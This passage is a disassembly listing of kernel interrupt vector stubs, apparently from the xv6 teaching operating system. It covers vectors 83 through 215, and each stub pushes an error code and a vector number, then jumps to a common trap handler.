80106f65 <vector83>:
.globl vector83
vector83:
pushl $0
80106f65: 6a 00 push $0x0
pushl $83
80106f67: 6a 53 push $0x53
jmp alltraps
80106f69: e9 da f6 ff ff jmp 80106648 <alltraps>
80106f6e <vector84>:
.globl vector84
vector84:
pushl $0
80106f6e: 6a 00 push $0x0
pushl $84
80106f70: 6a 54 push $0x54
jmp alltraps
80106f72: e9 d1 f6 ff ff jmp 80106648 <alltraps>
80106f77 <vector85>:
.globl vector85
vector85:
pushl $0
80106f77: 6a 00 push $0x0
pushl $85
80106f79: 6a 55 push $0x55
jmp alltraps
80106f7b: e9 c8 f6 ff ff jmp 80106648 <alltraps>
80106f80 <vector86>:
.globl vector86
vector86:
pushl $0
80106f80: 6a 00 push $0x0
pushl $86
80106f82: 6a 56 push $0x56
jmp alltraps
80106f84: e9 bf f6 ff ff jmp 80106648 <alltraps>
80106f89 <vector87>:
.globl vector87
vector87:
pushl $0
80106f89: 6a 00 push $0x0
pushl $87
80106f8b: 6a 57 push $0x57
jmp alltraps
80106f8d: e9 b6 f6 ff ff jmp 80106648 <alltraps>
80106f92 <vector88>:
.globl vector88
vector88:
pushl $0
80106f92: 6a 00 push $0x0
pushl $88
80106f94: 6a 58 push $0x58
jmp alltraps
80106f96: e9 ad f6 ff ff jmp 80106648 <alltraps>
80106f9b <vector89>:
.globl vector89
vector89:
pushl $0
80106f9b: 6a 00 push $0x0
pushl $89
80106f9d: 6a 59 push $0x59
jmp alltraps
80106f9f: e9 a4 f6 ff ff jmp 80106648 <alltraps>
80106fa4 <vector90>:
.globl vector90
vector90:
pushl $0
80106fa4: 6a 00 push $0x0
pushl $90
80106fa6: 6a 5a push $0x5a
jmp alltraps
80106fa8: e9 9b f6 ff ff jmp 80106648 <alltraps>
80106fad <vector91>:
.globl vector91
vector91:
pushl $0
80106fad: 6a 00 push $0x0
pushl $91
80106faf: 6a 5b push $0x5b
jmp alltraps
80106fb1: e9 92 f6 ff ff jmp 80106648 <alltraps>
80106fb6 <vector92>:
.globl vector92
vector92:
pushl $0
80106fb6: 6a 00 push $0x0
pushl $92
80106fb8: 6a 5c push $0x5c
jmp alltraps
80106fba: e9 89 f6 ff ff jmp 80106648 <alltraps>
80106fbf <vector93>:
.globl vector93
vector93:
pushl $0
80106fbf: 6a 00 push $0x0
pushl $93
80106fc1: 6a 5d push $0x5d
jmp alltraps
80106fc3: e9 80 f6 ff ff jmp 80106648 <alltraps>
80106fc8 <vector94>:
.globl vector94
vector94:
pushl $0
80106fc8: 6a 00 push $0x0
pushl $94
80106fca: 6a 5e push $0x5e
jmp alltraps
80106fcc: e9 77 f6 ff ff jmp 80106648 <alltraps>
80106fd1 <vector95>:
.globl vector95
vector95:
pushl $0
80106fd1: 6a 00 push $0x0
pushl $95
80106fd3: 6a 5f push $0x5f
jmp alltraps
80106fd5: e9 6e f6 ff ff jmp 80106648 <alltraps>
80106fda <vector96>:
.globl vector96
vector96:
pushl $0
80106fda: 6a 00 push $0x0
pushl $96
80106fdc: 6a 60 push $0x60
jmp alltraps
80106fde: e9 65 f6 ff ff jmp 80106648 <alltraps>
80106fe3 <vector97>:
.globl vector97
vector97:
pushl $0
80106fe3: 6a 00 push $0x0
pushl $97
80106fe5: 6a 61 push $0x61
jmp alltraps
80106fe7: e9 5c f6 ff ff jmp 80106648 <alltraps>
80106fec <vector98>:
.globl vector98
vector98:
pushl $0
80106fec: 6a 00 push $0x0
pushl $98
80106fee: 6a 62 push $0x62
jmp alltraps
80106ff0: e9 53 f6 ff ff jmp 80106648 <alltraps>
80106ff5 <vector99>:
.globl vector99
vector99:
pushl $0
80106ff5: 6a 00 push $0x0
pushl $99
80106ff7: 6a 63 push $0x63
jmp alltraps
80106ff9: e9 4a f6 ff ff jmp 80106648 <alltraps>
80106ffe <vector100>:
.globl vector100
vector100:
pushl $0
80106ffe: 6a 00 push $0x0
pushl $100
80107000: 6a 64 push $0x64
jmp alltraps
80107002: e9 41 f6 ff ff jmp 80106648 <alltraps>
80107007 <vector101>:
.globl vector101
vector101:
pushl $0
80107007: 6a 00 push $0x0
pushl $101
80107009: 6a 65 push $0x65
jmp alltraps
8010700b: e9 38 f6 ff ff jmp 80106648 <alltraps>
80107010 <vector102>:
.globl vector102
vector102:
pushl $0
80107010: 6a 00 push $0x0
pushl $102
80107012: 6a 66 push $0x66
jmp alltraps
80107014: e9 2f f6 ff ff jmp 80106648 <alltraps>
80107019 <vector103>:
.globl vector103
vector103:
pushl $0
80107019: 6a 00 push $0x0
pushl $103
8010701b: 6a 67 push $0x67
jmp alltraps
8010701d: e9 26 f6 ff ff jmp 80106648 <alltraps>
80107022 <vector104>:
.globl vector104
vector104:
pushl $0
80107022: 6a 00 push $0x0
pushl $104
80107024: 6a 68 push $0x68
jmp alltraps
80107026: e9 1d f6 ff ff jmp 80106648 <alltraps>
8010702b <vector105>:
.globl vector105
vector105:
pushl $0
8010702b: 6a 00 push $0x0
pushl $105
8010702d: 6a 69 push $0x69
jmp alltraps
8010702f: e9 14 f6 ff ff jmp 80106648 <alltraps>
80107034 <vector106>:
.globl vector106
vector106:
pushl $0
80107034: 6a 00 push $0x0
pushl $106
80107036: 6a 6a push $0x6a
jmp alltraps
80107038: e9 0b f6 ff ff jmp 80106648 <alltraps>
8010703d <vector107>:
.globl vector107
vector107:
pushl $0
8010703d: 6a 00 push $0x0
pushl $107
8010703f: 6a 6b push $0x6b
jmp alltraps
80107041: e9 02 f6 ff ff jmp 80106648 <alltraps>
80107046 <vector108>:
.globl vector108
vector108:
pushl $0
80107046: 6a 00 push $0x0
pushl $108
80107048: 6a 6c push $0x6c
jmp alltraps
8010704a: e9 f9 f5 ff ff jmp 80106648 <alltraps>
8010704f <vector109>:
.globl vector109
vector109:
pushl $0
8010704f: 6a 00 push $0x0
pushl $109
80107051: 6a 6d push $0x6d
jmp alltraps
80107053: e9 f0 f5 ff ff jmp 80106648 <alltraps>
80107058 <vector110>:
.globl vector110
vector110:
pushl $0
80107058: 6a 00 push $0x0
pushl $110
8010705a: 6a 6e push $0x6e
jmp alltraps
8010705c: e9 e7 f5 ff ff jmp 80106648 <alltraps>
80107061 <vector111>:
.globl vector111
vector111:
pushl $0
80107061: 6a 00 push $0x0
pushl $111
80107063: 6a 6f push $0x6f
jmp alltraps
80107065: e9 de f5 ff ff jmp 80106648 <alltraps>
8010706a <vector112>:
.globl vector112
vector112:
pushl $0
8010706a: 6a 00 push $0x0
pushl $112
8010706c: 6a 70 push $0x70
jmp alltraps
8010706e: e9 d5 f5 ff ff jmp 80106648 <alltraps>
80107073 <vector113>:
.globl vector113
vector113:
pushl $0
80107073: 6a 00 push $0x0
pushl $113
80107075: 6a 71 push $0x71
jmp alltraps
80107077: e9 cc f5 ff ff jmp 80106648 <alltraps>
8010707c <vector114>:
.globl vector114
vector114:
pushl $0
8010707c: 6a 00 push $0x0
pushl $114
8010707e: 6a 72 push $0x72
jmp alltraps
80107080: e9 c3 f5 ff ff jmp 80106648 <alltraps>
80107085 <vector115>:
.globl vector115
vector115:
pushl $0
80107085: 6a 00 push $0x0
pushl $115
80107087: 6a 73 push $0x73
jmp alltraps
80107089: e9 ba f5 ff ff jmp 80106648 <alltraps>
8010708e <vector116>:
.globl vector116
vector116:
pushl $0
8010708e: 6a 00 push $0x0
pushl $116
80107090: 6a 74 push $0x74
jmp alltraps
80107092: e9 b1 f5 ff ff jmp 80106648 <alltraps>
80107097 <vector117>:
.globl vector117
vector117:
pushl $0
80107097: 6a 00 push $0x0
pushl $117
80107099: 6a 75 push $0x75
jmp alltraps
8010709b: e9 a8 f5 ff ff jmp 80106648 <alltraps>
801070a0 <vector118>:
.globl vector118
vector118:
pushl $0
801070a0: 6a 00 push $0x0
pushl $118
801070a2: 6a 76 push $0x76
jmp alltraps
801070a4: e9 9f f5 ff ff jmp 80106648 <alltraps>
801070a9 <vector119>:
.globl vector119
vector119:
pushl $0
801070a9: 6a 00 push $0x0
pushl $119
801070ab: 6a 77 push $0x77
jmp alltraps
801070ad: e9 96 f5 ff ff jmp 80106648 <alltraps>
801070b2 <vector120>:
.globl vector120
vector120:
pushl $0
801070b2: 6a 00 push $0x0
pushl $120
801070b4: 6a 78 push $0x78
jmp alltraps
801070b6: e9 8d f5 ff ff jmp 80106648 <alltraps>
801070bb <vector121>:
.globl vector121
vector121:
pushl $0
801070bb: 6a 00 push $0x0
pushl $121
801070bd: 6a 79 push $0x79
jmp alltraps
801070bf: e9 84 f5 ff ff jmp 80106648 <alltraps>
801070c4 <vector122>:
.globl vector122
vector122:
pushl $0
801070c4: 6a 00 push $0x0
pushl $122
801070c6: 6a 7a push $0x7a
jmp alltraps
801070c8: e9 7b f5 ff ff jmp 80106648 <alltraps>
801070cd <vector123>:
.globl vector123
vector123:
pushl $0
801070cd: 6a 00 push $0x0
pushl $123
801070cf: 6a 7b push $0x7b
jmp alltraps
801070d1: e9 72 f5 ff ff jmp 80106648 <alltraps>
801070d6 <vector124>:
.globl vector124
vector124:
pushl $0
801070d6: 6a 00 push $0x0
pushl $124
801070d8: 6a 7c push $0x7c
jmp alltraps
801070da: e9 69 f5 ff ff jmp 80106648 <alltraps>
801070df <vector125>:
.globl vector125
vector125:
pushl $0
801070df: 6a 00 push $0x0
pushl $125
801070e1: 6a 7d push $0x7d
jmp alltraps
801070e3: e9 60 f5 ff ff jmp 80106648 <alltraps>
801070e8 <vector126>:
.globl vector126
vector126:
pushl $0
801070e8: 6a 00 push $0x0
pushl $126
801070ea: 6a 7e push $0x7e
jmp alltraps
801070ec: e9 57 f5 ff ff jmp 80106648 <alltraps>
801070f1 <vector127>:
.globl vector127
vector127:
pushl $0
801070f1: 6a 00 push $0x0
pushl $127
801070f3: 6a 7f push $0x7f
jmp alltraps
801070f5: e9 4e f5 ff ff jmp 80106648 <alltraps>
801070fa <vector128>:
.globl vector128
vector128:
pushl $0
801070fa: 6a 00 push $0x0
pushl $128
801070fc: 68 80 00 00 00 push $0x80
jmp alltraps
80107101: e9 42 f5 ff ff jmp 80106648 <alltraps>
80107106 <vector129>:
.globl vector129
vector129:
pushl $0
80107106: 6a 00 push $0x0
pushl $129
80107108: 68 81 00 00 00 push $0x81
jmp alltraps
8010710d: e9 36 f5 ff ff jmp 80106648 <alltraps>
80107112 <vector130>:
.globl vector130
vector130:
pushl $0
80107112: 6a 00 push $0x0
pushl $130
80107114: 68 82 00 00 00 push $0x82
jmp alltraps
80107119: e9 2a f5 ff ff jmp 80106648 <alltraps>
8010711e <vector131>:
.globl vector131
vector131:
pushl $0
8010711e: 6a 00 push $0x0
pushl $131
80107120: 68 83 00 00 00 push $0x83
jmp alltraps
80107125: e9 1e f5 ff ff jmp 80106648 <alltraps>
8010712a <vector132>:
.globl vector132
vector132:
pushl $0
8010712a: 6a 00 push $0x0
pushl $132
8010712c: 68 84 00 00 00 push $0x84
jmp alltraps
80107131: e9 12 f5 ff ff jmp 80106648 <alltraps>
80107136 <vector133>:
.globl vector133
vector133:
pushl $0
80107136: 6a 00 push $0x0
pushl $133
80107138: 68 85 00 00 00 push $0x85
jmp alltraps
8010713d: e9 06 f5 ff ff jmp 80106648 <alltraps>
80107142 <vector134>:
.globl vector134
vector134:
pushl $0
80107142: 6a 00 push $0x0
pushl $134
80107144: 68 86 00 00 00 push $0x86
jmp alltraps
80107149: e9 fa f4 ff ff jmp 80106648 <alltraps>
8010714e <vector135>:
.globl vector135
vector135:
pushl $0
8010714e: 6a 00 push $0x0
pushl $135
80107150: 68 87 00 00 00 push $0x87
jmp alltraps
80107155: e9 ee f4 ff ff jmp 80106648 <alltraps>
8010715a <vector136>:
.globl vector136
vector136:
pushl $0
8010715a: 6a 00 push $0x0
pushl $136
8010715c: 68 88 00 00 00 push $0x88
jmp alltraps
80107161: e9 e2 f4 ff ff jmp 80106648 <alltraps>
80107166 <vector137>:
.globl vector137
vector137:
pushl $0
80107166: 6a 00 push $0x0
pushl $137
80107168: 68 89 00 00 00 push $0x89
jmp alltraps
8010716d: e9 d6 f4 ff ff jmp 80106648 <alltraps>
80107172 <vector138>:
.globl vector138
vector138:
pushl $0
80107172: 6a 00 push $0x0
pushl $138
80107174: 68 8a 00 00 00 push $0x8a
jmp alltraps
80107179: e9 ca f4 ff ff jmp 80106648 <alltraps>
8010717e <vector139>:
.globl vector139
vector139:
pushl $0
8010717e: 6a 00 push $0x0
pushl $139
80107180: 68 8b 00 00 00 push $0x8b
jmp alltraps
80107185: e9 be f4 ff ff jmp 80106648 <alltraps>
8010718a <vector140>:
.globl vector140
vector140:
pushl $0
8010718a: 6a 00 push $0x0
pushl $140
8010718c: 68 8c 00 00 00 push $0x8c
jmp alltraps
80107191: e9 b2 f4 ff ff jmp 80106648 <alltraps>
80107196 <vector141>:
.globl vector141
vector141:
pushl $0
80107196: 6a 00 push $0x0
pushl $141
80107198: 68 8d 00 00 00 push $0x8d
jmp alltraps
8010719d: e9 a6 f4 ff ff jmp 80106648 <alltraps>
801071a2 <vector142>:
.globl vector142
vector142:
pushl $0
801071a2: 6a 00 push $0x0
pushl $142
801071a4: 68 8e 00 00 00 push $0x8e
jmp alltraps
801071a9: e9 9a f4 ff ff jmp 80106648 <alltraps>
801071ae <vector143>:
.globl vector143
vector143:
pushl $0
801071ae: 6a 00 push $0x0
pushl $143
801071b0: 68 8f 00 00 00 push $0x8f
jmp alltraps
801071b5: e9 8e f4 ff ff jmp 80106648 <alltraps>
801071ba <vector144>:
.globl vector144
vector144:
pushl $0
801071ba: 6a 00 push $0x0
pushl $144
801071bc: 68 90 00 00 00 push $0x90
jmp alltraps
801071c1: e9 82 f4 ff ff jmp 80106648 <alltraps>
801071c6 <vector145>:
.globl vector145
vector145:
pushl $0
801071c6: 6a 00 push $0x0
pushl $145
801071c8: 68 91 00 00 00 push $0x91
jmp alltraps
801071cd: e9 76 f4 ff ff jmp 80106648 <alltraps>
801071d2 <vector146>:
.globl vector146
vector146:
pushl $0
801071d2: 6a 00 push $0x0
pushl $146
801071d4: 68 92 00 00 00 push $0x92
jmp alltraps
801071d9: e9 6a f4 ff ff jmp 80106648 <alltraps>
801071de <vector147>:
.globl vector147
vector147:
pushl $0
801071de: 6a 00 push $0x0
pushl $147
801071e0: 68 93 00 00 00 push $0x93
jmp alltraps
801071e5: e9 5e f4 ff ff jmp 80106648 <alltraps>
801071ea <vector148>:
.globl vector148
vector148:
pushl $0
801071ea: 6a 00 push $0x0
pushl $148
801071ec: 68 94 00 00 00 push $0x94
jmp alltraps
801071f1: e9 52 f4 ff ff jmp 80106648 <alltraps>
801071f6 <vector149>:
.globl vector149
vector149:
pushl $0
801071f6: 6a 00 push $0x0
pushl $149
801071f8: 68 95 00 00 00 push $0x95
jmp alltraps
801071fd: e9 46 f4 ff ff jmp 80106648 <alltraps>
80107202 <vector150>:
.globl vector150
vector150:
pushl $0
80107202: 6a 00 push $0x0
pushl $150
80107204: 68 96 00 00 00 push $0x96
jmp alltraps
80107209: e9 3a f4 ff ff jmp 80106648 <alltraps>
8010720e <vector151>:
.globl vector151
vector151:
pushl $0
8010720e: 6a 00 push $0x0
pushl $151
80107210: 68 97 00 00 00 push $0x97
jmp alltraps
80107215: e9 2e f4 ff ff jmp 80106648 <alltraps>
8010721a <vector152>:
.globl vector152
vector152:
pushl $0
8010721a: 6a 00 push $0x0
pushl $152
8010721c: 68 98 00 00 00 push $0x98
jmp alltraps
80107221: e9 22 f4 ff ff jmp 80106648 <alltraps>
80107226 <vector153>:
.globl vector153
vector153:
pushl $0
80107226: 6a 00 push $0x0
pushl $153
80107228: 68 99 00 00 00 push $0x99
jmp alltraps
8010722d: e9 16 f4 ff ff jmp 80106648 <alltraps>
80107232 <vector154>:
.globl vector154
vector154:
pushl $0
80107232: 6a 00 push $0x0
pushl $154
80107234: 68 9a 00 00 00 push $0x9a
jmp alltraps
80107239: e9 0a f4 ff ff jmp 80106648 <alltraps>
8010723e <vector155>:
.globl vector155
vector155:
pushl $0
8010723e: 6a 00 push $0x0
pushl $155
80107240: 68 9b 00 00 00 push $0x9b
jmp alltraps
80107245: e9 fe f3 ff ff jmp 80106648 <alltraps>
8010724a <vector156>:
.globl vector156
vector156:
pushl $0
8010724a: 6a 00 push $0x0
pushl $156
8010724c: 68 9c 00 00 00 push $0x9c
jmp alltraps
80107251: e9 f2 f3 ff ff jmp 80106648 <alltraps>
80107256 <vector157>:
.globl vector157
vector157:
pushl $0
80107256: 6a 00 push $0x0
pushl $157
80107258: 68 9d 00 00 00 push $0x9d
jmp alltraps
8010725d: e9 e6 f3 ff ff jmp 80106648 <alltraps>
80107262 <vector158>:
.globl vector158
vector158:
pushl $0
80107262: 6a 00 push $0x0
pushl $158
80107264: 68 9e 00 00 00 push $0x9e
jmp alltraps
80107269: e9 da f3 ff ff jmp 80106648 <alltraps>
8010726e <vector159>:
.globl vector159
vector159:
pushl $0
8010726e: 6a 00 push $0x0
pushl $159
80107270: 68 9f 00 00 00 push $0x9f
jmp alltraps
80107275: e9 ce f3 ff ff jmp 80106648 <alltraps>
8010727a <vector160>:
.globl vector160
vector160:
pushl $0
8010727a: 6a 00 push $0x0
pushl $160
8010727c: 68 a0 00 00 00 push $0xa0
jmp alltraps
80107281: e9 c2 f3 ff ff jmp 80106648 <alltraps>
80107286 <vector161>:
.globl vector161
vector161:
pushl $0
80107286: 6a 00 push $0x0
pushl $161
80107288: 68 a1 00 00 00 push $0xa1
jmp alltraps
8010728d: e9 b6 f3 ff ff jmp 80106648 <alltraps>
80107292 <vector162>:
.globl vector162
vector162:
pushl $0
80107292: 6a 00 push $0x0
pushl $162
80107294: 68 a2 00 00 00 push $0xa2
jmp alltraps
80107299: e9 aa f3 ff ff jmp 80106648 <alltraps>
8010729e <vector163>:
.globl vector163
vector163:
pushl $0
8010729e: 6a 00 push $0x0
pushl $163
801072a0: 68 a3 00 00 00 push $0xa3
jmp alltraps
801072a5: e9 9e f3 ff ff jmp 80106648 <alltraps>
801072aa <vector164>:
.globl vector164
vector164:
pushl $0
801072aa: 6a 00 push $0x0
pushl $164
801072ac: 68 a4 00 00 00 push $0xa4
jmp alltraps
801072b1: e9 92 f3 ff ff jmp 80106648 <alltraps>
801072b6 <vector165>:
.globl vector165
vector165:
pushl $0
801072b6: 6a 00 push $0x0
pushl $165
801072b8: 68 a5 00 00 00 push $0xa5
jmp alltraps
801072bd: e9 86 f3 ff ff jmp 80106648 <alltraps>
801072c2 <vector166>:
.globl vector166
vector166:
pushl $0
801072c2: 6a 00 push $0x0
pushl $166
801072c4: 68 a6 00 00 00 push $0xa6
jmp alltraps
801072c9: e9 7a f3 ff ff jmp 80106648 <alltraps>
801072ce <vector167>:
.globl vector167
vector167:
pushl $0
801072ce: 6a 00 push $0x0
pushl $167
801072d0: 68 a7 00 00 00 push $0xa7
jmp alltraps
801072d5: e9 6e f3 ff ff jmp 80106648 <alltraps>
801072da <vector168>:
.globl vector168
vector168:
pushl $0
801072da: 6a 00 push $0x0
pushl $168
801072dc: 68 a8 00 00 00 push $0xa8
jmp alltraps
801072e1: e9 62 f3 ff ff jmp 80106648 <alltraps>
801072e6 <vector169>:
.globl vector169
vector169:
pushl $0
801072e6: 6a 00 push $0x0
pushl $169
801072e8: 68 a9 00 00 00 push $0xa9
jmp alltraps
801072ed: e9 56 f3 ff ff jmp 80106648 <alltraps>
801072f2 <vector170>:
.globl vector170
vector170:
pushl $0
801072f2: 6a 00 push $0x0
pushl $170
801072f4: 68 aa 00 00 00 push $0xaa
jmp alltraps
801072f9: e9 4a f3 ff ff jmp 80106648 <alltraps>
801072fe <vector171>:
.globl vector171
vector171:
pushl $0
801072fe: 6a 00 push $0x0
pushl $171
80107300: 68 ab 00 00 00 push $0xab
jmp alltraps
80107305: e9 3e f3 ff ff jmp 80106648 <alltraps>
8010730a <vector172>:
.globl vector172
vector172:
pushl $0
8010730a: 6a 00 push $0x0
pushl $172
8010730c: 68 ac 00 00 00 push $0xac
jmp alltraps
80107311: e9 32 f3 ff ff jmp 80106648 <alltraps>
80107316 <vector173>:
.globl vector173
vector173:
pushl $0
80107316: 6a 00 push $0x0
pushl $173
80107318: 68 ad 00 00 00 push $0xad
jmp alltraps
8010731d: e9 26 f3 ff ff jmp 80106648 <alltraps>
80107322 <vector174>:
.globl vector174
vector174:
pushl $0
80107322: 6a 00 push $0x0
pushl $174
80107324: 68 ae 00 00 00 push $0xae
jmp alltraps
80107329: e9 1a f3 ff ff jmp 80106648 <alltraps>
8010732e <vector175>:
.globl vector175
vector175:
pushl $0
8010732e: 6a 00 push $0x0
pushl $175
80107330: 68 af 00 00 00 push $0xaf
jmp alltraps
80107335: e9 0e f3 ff ff jmp 80106648 <alltraps>
8010733a <vector176>:
.globl vector176
vector176:
pushl $0
8010733a: 6a 00 push $0x0
pushl $176
8010733c: 68 b0 00 00 00 push $0xb0
jmp alltraps
80107341: e9 02 f3 ff ff jmp 80106648 <alltraps>
80107346 <vector177>:
.globl vector177
vector177:
pushl $0
80107346: 6a 00 push $0x0
pushl $177
80107348: 68 b1 00 00 00 push $0xb1
jmp alltraps
8010734d: e9 f6 f2 ff ff jmp 80106648 <alltraps>
80107352 <vector178>:
.globl vector178
vector178:
pushl $0
80107352: 6a 00 push $0x0
pushl $178
80107354: 68 b2 00 00 00 push $0xb2
jmp alltraps
80107359: e9 ea f2 ff ff jmp 80106648 <alltraps>
8010735e <vector179>:
.globl vector179
vector179:
pushl $0
8010735e: 6a 00 push $0x0
pushl $179
80107360: 68 b3 00 00 00 push $0xb3
jmp alltraps
80107365: e9 de f2 ff ff jmp 80106648 <alltraps>
8010736a <vector180>:
.globl vector180
vector180:
pushl $0
8010736a: 6a 00 push $0x0
pushl $180
8010736c: 68 b4 00 00 00 push $0xb4
jmp alltraps
80107371: e9 d2 f2 ff ff jmp 80106648 <alltraps>
80107376 <vector181>:
.globl vector181
vector181:
pushl $0
80107376: 6a 00 push $0x0
pushl $181
80107378: 68 b5 00 00 00 push $0xb5
jmp alltraps
8010737d: e9 c6 f2 ff ff jmp 80106648 <alltraps>
80107382 <vector182>:
.globl vector182
vector182:
pushl $0
80107382: 6a 00 push $0x0
pushl $182
80107384: 68 b6 00 00 00 push $0xb6
jmp alltraps
80107389: e9 ba f2 ff ff jmp 80106648 <alltraps>
8010738e <vector183>:
.globl vector183
vector183:
pushl $0
8010738e: 6a 00 push $0x0
pushl $183
80107390: 68 b7 00 00 00 push $0xb7
jmp alltraps
80107395: e9 ae f2 ff ff jmp 80106648 <alltraps>
8010739a <vector184>:
.globl vector184
vector184:
pushl $0
8010739a: 6a 00 push $0x0
pushl $184
8010739c: 68 b8 00 00 00 push $0xb8
jmp alltraps
801073a1: e9 a2 f2 ff ff jmp 80106648 <alltraps>
801073a6 <vector185>:
.globl vector185
vector185:
pushl $0
801073a6: 6a 00 push $0x0
pushl $185
801073a8: 68 b9 00 00 00 push $0xb9
jmp alltraps
801073ad: e9 96 f2 ff ff jmp 80106648 <alltraps>
801073b2 <vector186>:
.globl vector186
vector186:
pushl $0
801073b2: 6a 00 push $0x0
pushl $186
801073b4: 68 ba 00 00 00 push $0xba
jmp alltraps
801073b9: e9 8a f2 ff ff jmp 80106648 <alltraps>
801073be <vector187>:
.globl vector187
vector187:
pushl $0
801073be: 6a 00 push $0x0
pushl $187
801073c0: 68 bb 00 00 00 push $0xbb
jmp alltraps
801073c5: e9 7e f2 ff ff jmp 80106648 <alltraps>
801073ca <vector188>:
.globl vector188
vector188:
pushl $0
801073ca: 6a 00 push $0x0
pushl $188
801073cc: 68 bc 00 00 00 push $0xbc
jmp alltraps
801073d1: e9 72 f2 ff ff jmp 80106648 <alltraps>
801073d6 <vector189>:
.globl vector189
vector189:
pushl $0
801073d6: 6a 00 push $0x0
pushl $189
801073d8: 68 bd 00 00 00 push $0xbd
jmp alltraps
801073dd: e9 66 f2 ff ff jmp 80106648 <alltraps>
801073e2 <vector190>:
.globl vector190
vector190:
pushl $0
801073e2: 6a 00 push $0x0
pushl $190
801073e4: 68 be 00 00 00 push $0xbe
jmp alltraps
801073e9: e9 5a f2 ff ff jmp 80106648 <alltraps>
801073ee <vector191>:
.globl vector191
vector191:
pushl $0
801073ee: 6a 00 push $0x0
pushl $191
801073f0: 68 bf 00 00 00 push $0xbf
jmp alltraps
801073f5: e9 4e f2 ff ff jmp 80106648 <alltraps>
801073fa <vector192>:
.globl vector192
vector192:
pushl $0
801073fa: 6a 00 push $0x0
pushl $192
801073fc: 68 c0 00 00 00 push $0xc0
jmp alltraps
80107401: e9 42 f2 ff ff jmp 80106648 <alltraps>
80107406 <vector193>:
.globl vector193
vector193:
pushl $0
80107406: 6a 00 push $0x0
pushl $193
80107408: 68 c1 00 00 00 push $0xc1
jmp alltraps
8010740d: e9 36 f2 ff ff jmp 80106648 <alltraps>
80107412 <vector194>:
.globl vector194
vector194:
pushl $0
80107412: 6a 00 push $0x0
pushl $194
80107414: 68 c2 00 00 00 push $0xc2
jmp alltraps
80107419: e9 2a f2 ff ff jmp 80106648 <alltraps>
8010741e <vector195>:
.globl vector195
vector195:
pushl $0
8010741e: 6a 00 push $0x0
pushl $195
80107420: 68 c3 00 00 00 push $0xc3
jmp alltraps
80107425: e9 1e f2 ff ff jmp 80106648 <alltraps>
8010742a <vector196>:
.globl vector196
vector196:
pushl $0
8010742a: 6a 00 push $0x0
pushl $196
8010742c: 68 c4 00 00 00 push $0xc4
jmp alltraps
80107431: e9 12 f2 ff ff jmp 80106648 <alltraps>
80107436 <vector197>:
.globl vector197
vector197:
pushl $0
80107436: 6a 00 push $0x0
pushl $197
80107438: 68 c5 00 00 00 push $0xc5
jmp alltraps
8010743d: e9 06 f2 ff ff jmp 80106648 <alltraps>
80107442 <vector198>:
.globl vector198
vector198:
pushl $0
80107442: 6a 00 push $0x0
pushl $198
80107444: 68 c6 00 00 00 push $0xc6
jmp alltraps
80107449: e9 fa f1 ff ff jmp 80106648 <alltraps>
8010744e <vector199>:
.globl vector199
vector199:
pushl $0
8010744e: 6a 00 push $0x0
pushl $199
80107450: 68 c7 00 00 00 push $0xc7
jmp alltraps
80107455: e9 ee f1 ff ff jmp 80106648 <alltraps>
8010745a <vector200>:
.globl vector200
vector200:
pushl $0
8010745a: 6a 00 push $0x0
pushl $200
8010745c: 68 c8 00 00 00 push $0xc8
jmp alltraps
80107461: e9 e2 f1 ff ff jmp 80106648 <alltraps>
80107466 <vector201>:
.globl vector201
vector201:
pushl $0
80107466: 6a 00 push $0x0
pushl $201
80107468: 68 c9 00 00 00 push $0xc9
jmp alltraps
8010746d: e9 d6 f1 ff ff jmp 80106648 <alltraps>
80107472 <vector202>:
.globl vector202
vector202:
pushl $0
80107472: 6a 00 push $0x0
pushl $202
80107474: 68 ca 00 00 00 push $0xca
jmp alltraps
80107479: e9 ca f1 ff ff jmp 80106648 <alltraps>
8010747e <vector203>:
.globl vector203
vector203:
pushl $0
8010747e: 6a 00 push $0x0
pushl $203
80107480: 68 cb 00 00 00 push $0xcb
jmp alltraps
80107485: e9 be f1 ff ff jmp 80106648 <alltraps>
8010748a <vector204>:
.globl vector204
vector204:
pushl $0
8010748a: 6a 00 push $0x0
pushl $204
8010748c: 68 cc 00 00 00 push $0xcc
jmp alltraps
80107491: e9 b2 f1 ff ff jmp 80106648 <alltraps>
80107496 <vector205>:
.globl vector205
vector205:
pushl $0
80107496: 6a 00 push $0x0
pushl $205
80107498: 68 cd 00 00 00 push $0xcd
jmp alltraps
8010749d: e9 a6 f1 ff ff jmp 80106648 <alltraps>
801074a2 <vector206>:
.globl vector206
vector206:
pushl $0
801074a2: 6a 00 push $0x0
pushl $206
801074a4: 68 ce 00 00 00 push $0xce
jmp alltraps
801074a9: e9 9a f1 ff ff jmp 80106648 <alltraps>
801074ae <vector207>:
.globl vector207
vector207:
pushl $0
801074ae: 6a 00 push $0x0
pushl $207
801074b0: 68 cf 00 00 00 push $0xcf
jmp alltraps
801074b5: e9 8e f1 ff ff jmp 80106648 <alltraps>
801074ba <vector208>:
.globl vector208
vector208:
pushl $0
801074ba: 6a 00 push $0x0
pushl $208
801074bc: 68 d0 00 00 00 push $0xd0
jmp alltraps
801074c1: e9 82 f1 ff ff jmp 80106648 <alltraps>
801074c6 <vector209>:
.globl vector209
vector209:
pushl $0
801074c6: 6a 00 push $0x0
pushl $209
801074c8: 68 d1 00 00 00 push $0xd1
jmp alltraps
801074cd: e9 76 f1 ff ff jmp 80106648 <alltraps>
801074d2 <vector210>:
.globl vector210
vector210:
pushl $0
801074d2: 6a 00 push $0x0
pushl $210
801074d4: 68 d2 00 00 00 push $0xd2
jmp alltraps
801074d9: e9 6a f1 ff ff jmp 80106648 <alltraps>
801074de <vector211>:
.globl vector211
vector211:
pushl $0
801074de: 6a 00 push $0x0
pushl $211
801074e0: 68 d3 00 00 00 push $0xd3
jmp alltraps
801074e5: e9 5e f1 ff ff jmp 80106648 <alltraps>
801074ea <vector212>:
.globl vector212
vector212:
pushl $0
801074ea: 6a 00 push $0x0
pushl $212
801074ec: 68 d4 00 00 00 push $0xd4
jmp alltraps
801074f1: e9 52 f1 ff ff jmp 80106648 <alltraps>
801074f6 <vector213>:
.globl vector213
vector213:
pushl $0
801074f6: 6a 00 push $0x0
pushl $213
801074f8: 68 d5 00 00 00 push $0xd5
jmp alltraps
801074fd: e9 46 f1 ff ff jmp 80106648 <alltraps>
80107502 <vector214>:
.globl vector214
vector214:
pushl $0
80107502: 6a 00 push $0x0
pushl $214
80107504: 68 d6 00 00 00 push $0xd6
jmp alltraps
80107509: e9 3a f1 ff ff jmp 80106648 <alltraps>
8010750e <vector215>:
.globl vector215
vector215:
pushl $0
8010750e: 6a 00 push $0x0
pushl $215
80107510: 68 d7 00 00 00 push $0xd7
jmp alltraps
